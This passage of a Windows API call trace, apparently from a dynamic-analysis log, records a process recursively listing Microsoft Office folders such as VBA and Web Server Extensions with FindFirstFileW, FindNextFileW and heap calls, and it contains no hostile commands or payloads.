cAlternateFileName="")) returned 0xb02c08 [0287.947] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.947] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5088, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnect.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1 [0287.947] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5088, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnect.dll", cAlternateFileName="PORTAL~1.DLL")) returned 0 [0287.947] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0287.947] GetProcessHeap () returned 0xaf0000 [0287.947] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.947] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1 [0287.947] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 0 [0287.947] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0287.948] GetProcessHeap () returned 0xaf0000 [0287.948] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0287.948] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0287.949] GetProcessHeap () returned 0xaf0000 [0287.949] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0287.949] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0287.951] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.951] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VBA6", cAlternateFileName="")) returned 1 [0287.951] GetProcessHeap () returned 0xaf0000 [0287.951] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.952] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.952] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.952] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba88, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE6EXT.OLB", cAlternateFileName="")) returned 1 [0287.952] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba88, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE6EXT.OLB", cAlternateFileName="")) returned 0 [0287.952] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0288.293] GetProcessHeap () returned 0xaf0000 [0288.293] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0288.293] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VBA7.1", cAlternateFileName="")) returned 1 [0288.293] GetProcessHeap () returned 0xaf0000 [0288.321] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0288.321] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0288.322] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.322] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0288.322] GetProcessHeap () returned 0xaf0000 [0288.322] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0288.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0288.324] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.324] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f982, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0288.324] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc9b50c1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc9b50c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9b50c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a40b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0288.325] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb0c5e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0288.325] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0288.325] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe230b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0288.325] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca4da68, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca4da68, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca4da68, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0288.325] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc9db30a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc9db30a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0288.325] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc9db30a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc9db30a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0288.325] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0288.327] GetProcessHeap () returned 0xaf0000 [0288.327] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0288.327] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0288.327] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0288.327] GetProcessHeap () returned 0xaf0000 [0288.327] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0288.327] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VBA7.1", cAlternateFileName="")) returned 0 [0288.327] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0288.327] GetProcessHeap () returned 0xaf0000 [0288.327] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0288.329] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0288.329] GetProcessHeap () returned 0xaf0000 [0288.329] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0288.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0288.330] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.330] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0288.330] GetProcessHeap () returned 0xaf0000 [0288.330] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0288.331] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0288.332] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.332] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0288.332] GetProcessHeap () returned 0xaf0000 [0288.332] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0288.333] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0288.333] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.333] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd7bf89, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1850c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0288.333] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2a724e44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12d678, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0288.333] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2a724e44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12d678, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0288.333] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0288.333] GetProcessHeap () returned 0xaf0000 [0288.333] HeapFree (in: 